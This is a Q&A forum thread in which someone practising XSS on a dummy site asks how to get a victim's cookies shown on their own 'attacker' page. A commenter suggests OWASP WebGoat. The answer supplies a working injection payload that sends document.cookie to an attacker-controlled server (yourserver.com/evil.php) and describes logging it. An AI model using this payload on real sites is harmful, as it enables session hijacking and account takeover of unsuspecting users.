-1

Trying to practice XSS on dummy website. My end goal is to display the victim's cookies on my "attacker" site. Currently what I have is that when the user enters my site, it will pop up the dummy website and alert the cookies through javascript to the victims. Is there a way to make the alert to show up on my attacker site instead?

<!DOCTYPE html>
<head></head>
<body>
    <form name ='xss_form' action='http://dummy_site.com/search' method="GET">
        <input type='hidden' name='query' value='<script>alert(document.cookie)</script>'>
    </form>

    <iframe name="hiddenFrame" style='display:none'></iframe>

    <script>
        document.xss_form.submit();
    </script>


</body>

The iframe is set up so that if there is a way to display the alert box on my attacker site instead, I can just set the form target to the iframe and prevent the popup of dummy_site.

Improve this question
1
  • You are way confused about how it works. Get OWASP webgoat and work through its examples.
    – Neil Smithline
    Nov 23, 2015 at 1:28

1 Answer 1

Reset to default
4

What you are trying to do is impossible (with that method). First off, the form is submitting to a different website, so that will redirect the browser away from your site. Also, the JavaScript is going to run on the other site and there is no way to use it to access cookies from a different domain.

The solution would be to set up a simple server that records values submitted to it. Inject some XSS into the victim website like: <script>document.write('<img src="http://yourserver.com/evil.php?cookie=' + document.cookie + '"/>')</script>, and have your server record the value from the cookie GET parameter.

Improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.